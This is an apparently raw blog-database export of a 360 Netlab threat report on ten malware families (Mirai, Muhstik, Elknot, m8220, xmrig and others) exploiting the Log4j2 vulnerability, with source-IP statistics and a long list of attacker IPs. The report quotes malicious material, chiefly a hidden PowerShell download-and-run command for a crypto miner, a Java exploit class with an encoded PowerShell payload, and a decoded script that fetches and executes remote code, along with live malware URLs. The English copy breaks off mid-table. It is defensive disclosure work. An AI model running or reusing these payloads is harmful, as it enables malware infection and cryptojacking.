213.173.34.93
110.191.179.149
23.129.64.133
45.83.64.108
157.245.111.173
45.83.66.130
45.83.65.141
45.83.64.129
62.76.41.46
120.24.23.84
45.83.66.29
107.189.31.195
45.61.184.239
188.166.122.43
165.22.222.120
223.89.64.12
107.189.14.27
45.83.65.82
83.97.20.151
42.159.91.12
118.112.74.218
209.141.45.189
64.188.16.142
172.105.57.210
37.19.213.150
176.10.104.240
185.220.103.116
205.185.125.45
138.68.167.19
101.71.38.231
114.246.35.153
103.194.184.98
45.83.66.134
45.83.66.175
101.89.19.197
152.70.110.78
138.197.72.76
114.254.20.186
203.175.13.14
139.59.97.205
195.123.247.209
117.139.38.130
103.13.220.57
122.161.48.150
45.153.160.133
185.14.47.20
192.144.236.164
45.153.160.140
159.65.43.94
95.141.35.15
116.246.0.93
137.184.109.130
23.154.177.6
45.83.67.234
103.145.22.103
183.160.4.88
77.199.38.33
185.220.101.137
121.24.8.114
115.151.228.18
49.93.83.226
45.83.67.48
66.112.213.87
45.76.191.147
23.129.64.132
138.197.193.220
84.53.225.118
15.165.232.131
185.220.101.128
125.33.172.90
45.83.67.134
101.206.168.120
120.239.67.147
157.245.102.218
45.83.67.75
49.118.75.38
172.105.97.149
117.36.0.131
45.83.67.180
211.148.73.182
36.227.164.189
45.83.65.40
45.83.64.45
167.172.69.175
116.89.189.30
185.220.101.13
23.105.194.3
155.94.151.218
182.99.247.122
54.199.27.97
45.83.65.151
182.118.237.42
36.155.14.163
216.24.191.27
143.110.229.254
203.218.252.81
180.102.206.209
103.149.162.116
101.93.86.68
18.204.199.0
194.195.112.76
47.102.205.237
94.230.208.148
115.60.103.185
45.83.65.76
45.83.64.223
45.83.64.164
198.98.59.65
192.42.116.16
89.238.178.213
185.243.41.202
45.83.65.94
167.99.219.41
13.231.10.223
45.83.67.38
167.99.88.151
199.249.230.119
172.105.194.253
139.59.182.104
123.122.133.12
119.160.234.68
1.209.47.241
115.151.228.146
182.118.237.234
120.228.88.232
178.62.32.211
45.83.67.203
171.218.53.30
185.232.23.46
198.98.60.19
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n2021年12月11号8点整，我们率先捕获到Muhstik僵尸网络样本通过Log4j2 RCE漏洞传播，并首发披露Mirai和Muhstik僵尸网络在野利用详情[[1]](__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/)。\n\n2天来，我们陆续又捕获到其它家族的样本，目前，这个家族列表已经超过10个，这里从漏洞、payload、攻击IP 和样本分析等几个维度介绍我们的捕获情况。\n\n## Apache Log4j2 漏洞攻击分布\n360网络安全研究院大网蜜罐系统监测到Apache Log4j2 RCE漏洞（CVE-2021-44228）扫描及攻击，源IP地址地理位置分布如下：\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\" class=\"kg-image\"/></a>\n\n| 国家/地区 | 攻击源IP数量 |\n| --------------- | ---- |\n| Germany | 271 |\n| The Netherlands | 143 |\n| China | 134 |\n| United States | 123 |\n| United Kingdom | 29 |\n| Canada | 27 |\n| Singapore | 23 |\n| India | 22 |\n| Japan | 15 |\n| Russia | 12 |\n\n\n通过对扫描端口分析发现，扫描目的端口主要是8081端口（Apache Flink）占比31.61%，其次是8983端口（Apache Solr）占比28.1%，如下图：\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\" class=\"kg-image\"/></a>\n\n\n## 攻击IP溯源分析\n我们目前已经捕获超过1050个攻击源IP，主要来自于ALPHASTRIKE-RESEARCH，ASMK和DIGITALOCEAN-ASN，占比50%以上，扫描整体趋势如下：\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\" class=\"kg-image\"/></a>\n\n扫描源IP来自全球各个国家，其中德国占比最大，如下图:\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\" class=\"kg-image\"/></a>\n\n攻击源IP主要为国外大网测绘厂商IP，以及大量Tor代理出口节点IP\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\" class=\"kg-image\"/></a>\n\n攻击源IP来源云厂商分布\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\" class=\"kg-image\"/></a>\n\n\n## 样本和Botnet家族分析\n\n目前，我们共捕获到10个家族的恶意样本，这里按照入口样本的维度逐一介绍。\n\n### 1， Muhstik, DDoS+backdoor\n参考我们的上一篇[威胁快讯](__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/)。\n\n## 2， Mirai \n参考我们的上一篇[威胁快讯](__GHOST_URL__/wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei/)。\n\n## 3， DDoS家族Elknot\nElknot又名BillGates，最早针对Linux系统，后来被移植到[Windows平台](https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/)。\n这2种平台的Elknot我们都有捕获，它们共享同样的C2，显然来自同一团伙。\n\nelknot.ELF的样本信息如下：\n```\nURL=http://155.94.154.170/aaa\nMD5=ded558217c327d8f5c3f8b36118380ab\n\nURL=http://155.94.154.170/log4j\nMD5=ded558217c327d8f5c3f8b36118380ab\n```\n\nelknot.PE的样本信息如下：\n```\nURL=http://154.82.110.5:1234/win.exe\nMD5=36796319567f5a05571006b874903e87\n```\nC2均为 ```300gsyn.it:25009```。\n\n## 4， 挖矿家族m8220\n这次传播的是m8220变种，入口样本信息如下：\n```\nurl= http://205.185.113.59:1234/xmss\nMD5=75bc0d4022b20fae1f5610109691184e\n```\n\n进一步提取的恶意URL信息如下：\n```\nhttp://agent.apacheorg.top:1234/xmss \nhttp://205.185.113.59:1234/.rsyslogds\nhttp://205.185.113.59:1234/.inis\nhttp://205.185.113.59:1234/xms\n```\n\n## 5， SitesLoader\n这是近期比较活跃的一个Linux家族，这次也搭上了Log4j这个顺风车。入口样本信息：：\n```\nURL=http://185.250.148.157:8005/acc\nMD5=933568969efe6b3f8c0621200f0eea5a\n```\n\n最终会下载一个stage 2的ELF文件 payload：\n```\nURL=http://185.250.148.157:8005/index\nMD5=720a3a92e72054dc8d58e229c22bb892\nC2=\"https://sites.google.com/view/maintest01\"\n```\n\n## 6， xmrig.pe\n\n它实际和前述的muhstik共享了同一个exploit，所以应该属于同一团伙，入口exploit对应一个java类：\n```\nURL=http://31.220.58.29/Exploit.class\nMD5=f6e51ea341570c6e9e4c97aee082822b\n```\n\n它能同时攻击Linux和Windows机器，针对Linux的部分就是我们前述的muhstik变种，入口样本信息如下：\n```\nURL=http://18.228.7.109/.log/log\nMD5=1e051111c4cf327775dc3bab4df4bf85\t\n```\n\n针对Windows平台的入口样本信息如下：\n```\nURL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd\nMD5=bf6935865f63c32c0530a61da9b85d53\n```\n\n它指向一个Powershell脚本，核心内容是下载一个xmrig程序并运行：\n```\npowershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')\nxmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log\n```\n\n能看到矿池和钱包地址都硬编码在命令行里了。\n\n## 7， xmrig.ELF\n运行后会下载1个bash脚本和1个xmrig.tar.gz，前者负责解压后者并启动xmrig。样本信息如下：\n```\nfseen=2021-12-11 23:45:56\t\nURL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz\nMD5=64808f03e967d15a7907c41fa0d34e89\n\nfseen=2021-12-11 23:39:18\t\nURL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh\nMD5=2f5769c38b6e5f4c59b7d831ed612395\n```\n\n## 8， 攻击工具1\n\n```\nURL=http://47.243.78.246/12\nMD5=5ac6ded41f9a61cd9d026e91af47b695 \nVT扫描信息：a variant of Linux/Riskware.Meterpreter.C\tELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped\n```\n\n## 9， 攻击工具2\n```\nURL=http://170.178.196.41:1111/pglQLHfm\nMD5=29851d65fe14699a793bf401cb84c019\nVT扫描信息：a variant of Linux/Riskware.Meterpreter.C\tELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped\n\nURL=http://170.178.196.41:35244/qIoPIauO\nMD5=eb71a394bcf3e8f83198d51f3f6d7422\nVT扫描信息: a variant of Linux/Riskware.Meterpreter.C\tELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped\n\nURL=http://170.178.196.41:8080/UKTPAnRvns\nMD5=84c2ccc2f2a4d4fe71249bad63252f32\n\nVT扫描信息: Linux/Shellcode.CZ\tELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size\n```\n\n## 10， 未知PE家族\n入口样本基本信息如下：\n```\nURL=http://141.98.83.139:9883/exp.class\nmd5=5b30284b34dcc1912326812c7d2ea723\n```\n它是一个java类，内容如下：\n```\npublic class exp\n{\n\n public exp()\n {\n }\n\n static\n {\n try\n {\n String as[] = {\n \"cmd\", \"/c\", \"powershell\", \"-exec\", \"bypass\", \"-w\", \"hidden\", \"-e\", \"WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA\"\n };\n Runtime.getRuntime().exec(as).waitFor();\n }\n catch(Exception exception)\n {\n exception.printStackTrace();\n }\n }\n}\n```\n\n能看到它会调用powershell解码一个base64串，实际上这个串要经过3次解码才能得到最终的payload，对应一段powershell脚本：\n```\n[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));\n```\n\n里面包含了如下2个URL：\n```\nhttp://141.98.83.139:18080/nG60k1/RWjxFwxCBE\nhttp://141.98.83.139:18080/nG60k1\n```\n\n可惜这两个URL均下载失败，所以这里不能提供家族信息。\n\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n### IoC\n部分攻击源IP:\n```\n1.116.59.211\n1.179.247.182\n101.204.24.28\n103.103.0.141\n103.103.0.142\n103.107.198.109\n103.232.136.12\n103.244.80.194\n103.90.239.209\n104.244.72.115\n104.244.72.136\n104.244.73.126\n104.244.74.121\n104.244.74.57\n104.244.76.13\n104.244.76.170\n104.244.79.234\n104.244.79.6\n104.248.144.120\n107.172.214.23\n107.189.1.160\n107.189.1.178\n107.189.7.88\n109.201.133.100\n109.70.100.19\n109.70.100.34\n109.73.65.32\n110.42.200.96\n111.28.189.51\n111.59.85.209\n112.215.172.64\n112.27.199.180\n112.74.52.90\n113.141.64.14\n113.98.224.68\n114.112.161.155\n114.32.82.82\n115.151.228.235\n115.151.228.4\n115.151.228.83\n118.27.36.56\n119.84.170.84\n120.195.30.152\n120.211.140.116\n121.4.56.143\n122.117.91.144\n122.161.53.44\n124.224.87.29\n128.199.15.215\n128.199.222.221\n128.199.48.147\n128.31.0.13\n131.100.148.7\n133.18.201.195\n134.122.33.6\n134.209.24.42\n134.209.82.14\n137.184.102.82\n137.184.104.73\n137.184.105.192\n137.184.137.242\n137.184.138.79\n137.184.28.58\n137.184.96.216\n137.184.98.176\n137.184.99.8\n138.197.106.234\n138.197.108.154\n138.197.167.229\n138.197.216.230\n138.197.9.239\n138.199.21.199\n138.68.155.222\n139.28.218.134\n139.59.101.242\n139.59.103.254\n139.59.108.31\n139.59.163.74\n139.59.188.119\n139.59.224.7\n139.59.8.39\n139.59.96.42\n139.59.99.80\n14.177.141.126\n140.246.171.141\n141.98.83.139\n142.93.151.166\n142.93.157.150\n142.93.34.250\n143.110.221.204\n143.110.221.219\n143.198.180.150\n143.198.183.66\n143.198.45.117\n143.244.184.81\n144.217.86.109\n144.48.37.78\n145.220.24.19\n146.56.131.161\n146.56.148.181\n146.70.38.48\n147.182.131.229\n147.182.154.100\n147.182.167.165\n147.182.179.141\n147.182.187.229\n147.182.195.250\n147.182.215.36\n147.182.216.21\n147.182.219.9\n147.182.242.144\n147.182.242.241\n150.158.189.96\n151.80.148.159\n154.65.28.250\n154.94.7.88\n156.146.57.41\n157.230.32.67\n157.245.105.213\n157.245.107.6\n157.245.108.125\n157.245.108.40\n157.245.109.75\n157.245.129.50\n157.245.96.165\n159.203.187.141\n159.203.45.181\n159.203.58.73\n159.223.42.182\n159.223.61.102\n159.223.75.133\n159.223.9.17\n159.48.55.216\n159.65.146.60\n159.65.155.208\n159.65.58.66\n159.65.59.77\n159.65.60.100\n159.89.115.238\n159.89.122.19\n159.89.133.216\n159.89.150.150\n159.89.154.102\n159.89.154.185\n159.89.154.64\n159.89.48.173\n159.89.85.91\n159.89.94.219\n160.238.38.196\n161.35.119.60\n161.35.155.230\n161.35.156.13\n162.247.74.202\n162.247.74.206\n162.253.71.51\n162.255.202.246\n164.52.53.163\n164.90.196.7\n164.90.199.206\n164.90.199.212\n164.90.199.216\n164.90.200.6\n164.92.254.33\n165.22.210.174\n165.22.213.246\n165.227.32.109\n165.232.80.166\n166.70.207.2\n167.172.65.15\n167.172.69.97\n167.172.71.96\n167.172.85.73\n167.172.94.250\n167.71.1.144\n167.71.13.196\n167.71.218.228\n167.71.4.81\n167.86.70.252\n167.99.164.160\n167.99.172.111\n167.99.172.213\n167.99.172.99\n167.99.186.227\n167.99.204.151\n167.99.221.217\n167.99.36.245\n167.99.44.32\n170.210.45.163\n171.221.235.43\n171.25.193.20\n171.25.193.25\n171.25.193.77\n171.25.193.78\n172.83.40.103\n172.83.40.124\n172.98.66.221\n174.138.6.128\n175.6.210.66\n176.10.99.200\n177.131.174.12\n177.185.117.129\n178.128.226.212\n178.128.232.114\n178.159.3.167\n178.17.170.135\n178.17.170.23\n178.17.171.102\n178.17.174.14\n178.176.202.121\n178.176.203.190\n178.62.23.146\n178.62.61.47\n179.43.187.138\n18.27.197.252\n180.136.188.219\n180.149.125.139\n182.99.234.208\n182.99.246.166\n182.99.246.183\n182.99.246.190\n182.99.246.192\n182.99.246.199\n182.99.247.181\n182.99.247.188\n182.99.247.253\n182.99.247.67\n183.13.106.232\n183.134.110.75\n185.100.86.128\n185.100.87.174\n185.100.87.202\n185.100.87.41\n185.107.47.171\n185.107.47.215\n185.107.70.56\n185.129.61.5\n185.14.97.147\n185.165.169.18\n185.170.114.25\n185.175.25.50\n185.202.220.27\n185.202.220.29\n185.207.249.87\n185.220.100.240\n185.220.100.241\n185.220.100.242\n185.220.100.243\n185.220.100.244\n185.220.100.245\n185.220.100.246\n185.220.100.247\n185.220.100.248\n185.220.100.249\n185.220.100.250\n185.220.100.251\n185.220.100.252\n185.220.100.253\n185.220.100.254\n185.220.100.255\n185.220.101.129\n185.220.101.131\n185.220.101.132\n185.220.101.133\n185.220.101.134\n185.220.101.135\n185.220.101.136\n185.220.101.138\n185.220.101.139\n185.220.101.140\n185.220.101.141\n185.220.101.142\n185.220.101.143\n185.220.101.144\n185.220.101.145\n185.220.101.146\n185.220.101.147\n185.220.101.148\n185.220.101.149\n185.220.101.150\n185.220.101.151\n185.220.101.152\n185.220.101.153\n185.220.101.154\n185.220.101.155\n185.220.101.156\n185.220.101.157\n185.220.101.158\n185.220.101.159\n185.220.101.160\n185.220.101.161\n185.220.101.162\n185.220.101.163\n185.220.101.164\n185.220.101.165\n185.220.101.166\n185.220.101.167\n185.220.101.168\n185.220.101.169\n185.220.101.170\n185.220.101.171\n185.220.101.172\n185.220.101.173\n185.220.101.174\n185.220.101.175\n185.220.101.176\n185.220.101.177\n185.220.101.178\n185.220.101.179\n185.220.101.180\n185.220.101.181\n185.220.101.182\n185.220.101.183\n185.220.101.184\n185.220.101.185\n185.220.101.186\n185.220.101.187\n185.220.101.188\n185.220.101.189\n185.220.101.190\n185.220.101.191\n185.220.101.32\n185.220.101.33\n185.220.101.34\n185.220.101.35\n185.220.101.36\n185.220.101.37\n185.220.101.38\n185.220.101.39\n185.220.101.40\n185.220.101.41\n185.220.101.42\n185.220.101.43\n185.220.101.44\n185.220.101.45\n185.220.101.46\n185.220.101.47\n185.220.101.48\n185.220.101.49\n185.220.101.50\n185.220.101.51\n185.220.101.52\n185.220.101.53\n185.220.101.54\n185.220.101.55\n185.220.101.56\n185.220.101.57\n185.220.101.58\n185.220.101.59\n185.220.101.60\n185.220.101.61\n185.220.101.62\n185.220.101.63\n185.220.101.9\n185.220.102.243\n185.220.102.246\n185.220.102.248\n185.220.102.6\n185.220.103.120\n185.233.100.23\n185.236.200.116\n185.236.200.118\n185.245.86.85\n185.245.87.246\n185.255.79.72\n185.38.175.130\n185.38.175.131\n185.38.175.132\n185.4.132.183\n185.51.76.187\n185.56.80.65\n185.65.205.10\n185.83.214.69\n188.166.102.47\n188.166.105.150\n188.166.170.135\n188.166.223.38\n188.166.225.104\n188.166.45.93\n188.166.48.55\n188.166.7.245\n188.166.86.206\n188.166.92.228\n188.241.156.207\n191.101.132.152\n191.232.38.25\n192.145.118.111\n192.145.118.127\n192.145.118.177\n192.150.9.201\n192.40.57.54\n193.110.95.34\n193.122.108.228\n193.218.118.183\n193.218.118.231\n193.29.60.202\n193.31.24.154\n194.110.84.182\n194.110.84.243\n194.48.199.78\n195.144.21.219\n195.201.175.217\n195.251.41.139\n195.54.160.149\n197.246.171.83\n198.54.128.94\n198.98.51.189\n198.98.57.207\n198.98.62.150\n199.195.248.29\n199.195.250.77\n199.195.252.18\n199.249.230.110\n199.249.230.163\n20.205.104.227\n20.71.156.146\n20.73.161.16\n204.8.156.142\n205.185.117.149\n206.189.20.141\n207.246.101.221\n209.127.17.234\n209.127.17.242\n209.141.34.232\n209.141.41.103\n209.141.46.203\n209.141.54.195\n209.141.58.146\n209.141.59.180\n209.58.146.134\n209.97.133.112\n211.218.126.140\n212.102.40.36\n213.164.204.146\n217.112.83.246\n217.138.200.150\n217.138.208.92\n217.138.208.94\n217.146.83.136\n217.79.189.13\n218.29.217.234\n218.89.222.71\n219.100.36.177\n219.159.77.109\n221.199.187.100\n221.226.159.22\n221.228.87.37\n23.108.92.140\n23.128.248.13\n23.129.64.130\n23.129.64.131\n23.129.64.136\n23.129.64.137\n23.129.64.138\n23.129.64.140\n23.129.64.141\n23.129.64.142\n23.129.64.143\n23.129.64.144\n23.129.64.146\n23.82.194.113\n23.82.194.114\n23.82.194.166\n31.171.154.132\n31.6.19.41\n34.247.50.189\n35.193.211.95\n35.232.163.113\n36.4.92.53\n37.120.204.142\n37.123.163.58\n37.187.122.82\n37.187.96.183\n37.19.212.103\n37.19.212.88\n37.19.213.10\n37.19.213.148\n37.19.213.149\n37.19.213.168\n37.19.213.170\n37.19.213.198\n37.19.213.199\n37.19.213.200\n37.221.66.128\n39.102.236.51\n41.203.140.114\n42.192.69.45\n45.12.134.108\n45.129.56.200\n45.133.194.118\n45.137.21.9\n45.140.168.37\n45.153.160.131\n45.153.160.139\n45.153.160.2\n45.154.255.147\n45.155.205.233\n45.33.120.240\n45.76.99.222\n46.101.223.115\n46.105.95.220\n46.166.139.111\n46.194.138.182\n46.58.195.62\n49.233.62.251\n49.234.81.169\n49.7.224.217\n49.74.65.69\n5.157.38.50\n5.254.101.167\n51.105.55.17\n51.15.43.205\n51.77.52.216\n52.140.215.233\n54.146.233.218\n58.241.61.242\n60.31.180.149\n61.175.202.154\n61.178.32.114\n61.19.25.207\n62.102.148.68\n62.102.148.69\n64.113.32.29\n66.220.242.222\n67.205.170.85\n67.207.93.79\n68.183.192.239\n68.183.198.247\n68.183.198.36\n68.183.2.123\n68.183.207.73\n68.183.33.144\n68.183.35.171\n68.183.36.244\n68.183.37.10\n68.183.41.150\n68.183.44.143\n68.183.44.164\n78.31.71.247\n78.31.71.248\n80.57.9.110\n80.67.172.162\n81.30.157.43\n82.221.131.71\n85.93.218.204\n86.106.103.29\n86.109.208.194\n89.163.249.192\n89.249.63.3\n91.207.173.123\n91.207.174.157\n91.221.57.179\n91.245.81.65\n91.250.242.12\n92.38.178.27\n124.224.87.11\n45.83.67.190\n121.36.213.142\n180.149.231.197\n112.74.34.48\n128.14.102.187\n113.68.61.30\n185.220.102.8\n180.140.163.156\n23.129.64.149\n218.28.128.14\n54.144.8.103\n45.83.66.86\n45.83.67.33\n45.83.66.36\n139.59.4.192\n45.83.67.183\n103.149.248.27\n54.254.58.27\n111.205.62.212\n45.83.65.148\n112.103.102.184\n37.120.189.247\n147.182.188.183\n23.129.64.135\n45.83.66.100\n45.83.67.58\n16.162.192.45\n94.230.208.147\n182.99.246.138\n165.227.37.189\n185.220.102.247\n223.104.67.7\n51.15.244.188\n122.161.50.23\n111.127.128.136\n185.213.155.168\n118.112.74.135\n185.135.81.158\n199.249.230.84\n23.129.64.145\n13.213.127.204\n103.112.31.26\n45.83.66.228\n45.83.65.93\n174.138.9.117\n194.87.236.154\n167.99.221.249\n5.254.43.59\n194.110.84.93\n51.15.76.60\n167.71.14.192\n104.244.72.129\n211.154.194.21\n212.102.50.103\n167.99.164.183\n45.76.176.24\n157.122.61.12\n45.83.65.61\n211.138.191.69\n188.166.26.105\n107.189.11.228\n172.106.16.74\n117.89.128.117\n109.70.100.25\n101.71.37.47\n91.243.81.71\n217.68.181.100\n195.19.192.26\n112.10.117.77\n45.83.67.0\n5.254.101.169\n45.83.64.153\n58.247.209.203\n45.83.64.235\n185.113.128.30\n128.199.24.9\n137.184.111.180\n106.92.114.249\n212.193.57.225\n112.74.185.158\n101.35.199.152\n147.182.213.12\n45.83.67.64\n185.220.101.130\n185.4.132.135\n114.24.19.243\n8.209.212.37\n167.99.164.201\n23.129.64.134\n49.36.231.105\n221.222.155.240\n113.17.41.134\n47.102.199.233\n222.128.62.127\n38.143.9.76\n164.90.159.39\n109.237.96.124\n121.31.247.58\n45.83.64.43\n45.83.66.183\n122.225.220.134\n134.209.153.239\n45.83.64.148\n172.105.59.246\n206.189.29.232\n116.206.103.246\n116.206.231.53\n103.47.48.65\n165.232.84.228\n172.105.194.173\n185.10.68.168\n167.99.172.58\n58.100.164.147\n167.99.188.167\n143.198.32.72\n52.175.18.172\n45.64.75.134\n121.229.219.55\n18.177.59.255\n178.62.222.131\n167.71.67.189\n45.83.66.65\n113.207.68.47\n23.234.200.135\n134.122.34.28\n167.99.216.68\n137.184.98.160\n45.83.67.22\n222.211.205.179\n185.193.125.249\n45.83.67.77\n103.130.166.234\n81.17.18.59\n104.244.76.44\n213.173.34.93\n110.191.179.149\n23.129.64.133\n45.83.64.108\n157.245.111.173\n45.83.66.130\n45.83.65.141\n45.83.64.129\n62.76.41.46\n120.24.23.84\n45.83.66.29\n107.189.31.195\n45.61.184.239\n188.166.122.43\n165.22.222.120\n223.89.64.12\n107.189.14.27\n45.83.65.82\n83.97.20.151\n42.159.91.12\n118.112.74.218\n209.141.45.189\n64.188.16.142\n172.105.57.210\n37.19.213.150\n176.10.104.240\n185.220.103.116\n205.185.125.45\n138.68.167.19\n101.71.38.231\n114.246.35.153\n103.194.184.98\n45.83.66.134\n45.83.66.175\n101.89.19.197\n152.70.110.78\n138.197.72.76\n114.254.20.186\n203.175.13.14\n139.59.97.205\n195.123.247.209\n117.139.38.130\n103.13.220.57\n122.161.48.150\n45.153.160.133\n185.14.47.20\n192.144.236.164\n45.153.160.140\n159.65.43.94\n95.141.35.15\n116.246.0.93\n137.184.109.130\n23.154.177.6\n45.83.67.234\n103.145.22.103\n183.160.4.88\n77.199.38.33\n185.220.101.137\n121.24.8.114\n115.151.228.18\n49.93.83.226\n45.83.67.48\n66.112.213.87\n45.76.191.147\n23.129.64.132\n138.197.193.220\n84.53.225.118\n15.165.232.131\n185.220.101.128\n125.33.172.90\n45.83.67.134\n101.206.168.120\n120.239.67.147\n157.245.102.218\n45.83.67.75\n49.118.75.38\n172.105.97.149\n117.36.0.131\n45.83.67.180\n211.148.73.182\n36.227.164.189\n45.83.65.40\n45.83.64.45\n167.172.69.175\n116.89.189.30\n185.220.101.13\n23.105.194.3\n155.94.151.218\n182.99.247.122\n54.199.27.97\n45.83.65.151\n182.118.237.42\n36.155.14.163\n216.24.191.27\n143.110.229.254\n203.218.252.81\n180.102.206.209\n103.149.162.116\n101.93.86.68\n18.204.199.0\n194.195.112.76\n47.102.205.237\n94.230.208.148\n115.60.103.185\n45.83.65.76\n45.83.64.223\n45.83.64.164\n198.98.59.65\n192.42.116.16\n89.238.178.213\n185.243.41.202\n45.83.65.94\n167.99.219.41\n13.231.10.223\n45.83.67.38\n167.99.88.151\n199.249.230.119\n172.105.194.253\n139.59.182.104\n123.122.133.12\n119.160.234.68\n1.209.47.241\n115.151.228.146\n182.118.237.234\n120.228.88.232\n178.62.32.211\n45.83.67.203\n171.218.53.30\n185.232.23.46\n198.98.60.19\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61b6f8873819e50007636dd0 |
post | null | 2021-12-13T15:23:09.000Z | 63873b9a8b1c1e0007f53000 | ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now | 0 | 2022-02-09T07:16:26.000Z | public | published | null | 2021-12-13T15:42:09.000Z | Ten families of malicious samples are spreading using the Log4j2 vulnerability Now | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability<a href="__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/">[1]</a>。</p>
<p>Over the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to <a href="__GHOST_URL__/">our blog site</a> or <a href="https://twitter.com/360Netlab">our twitter handle</a>.</p>
<h2 id="wherethescannersattackerscomingfrom">Where the scanners|attackers coming from</h2>
<p>The following diagram shows the scanners|attackers IP addresses’ geographical distribution that we captured from our honeypot system<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>Country/region</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Germany</td>
<td>271</td>
</tr>
<tr>
<td>The Netherlands</td>
<td>143</td>
</tr>
<tr>
<td>China</td>
<td>134</td>
</tr>
<tr>
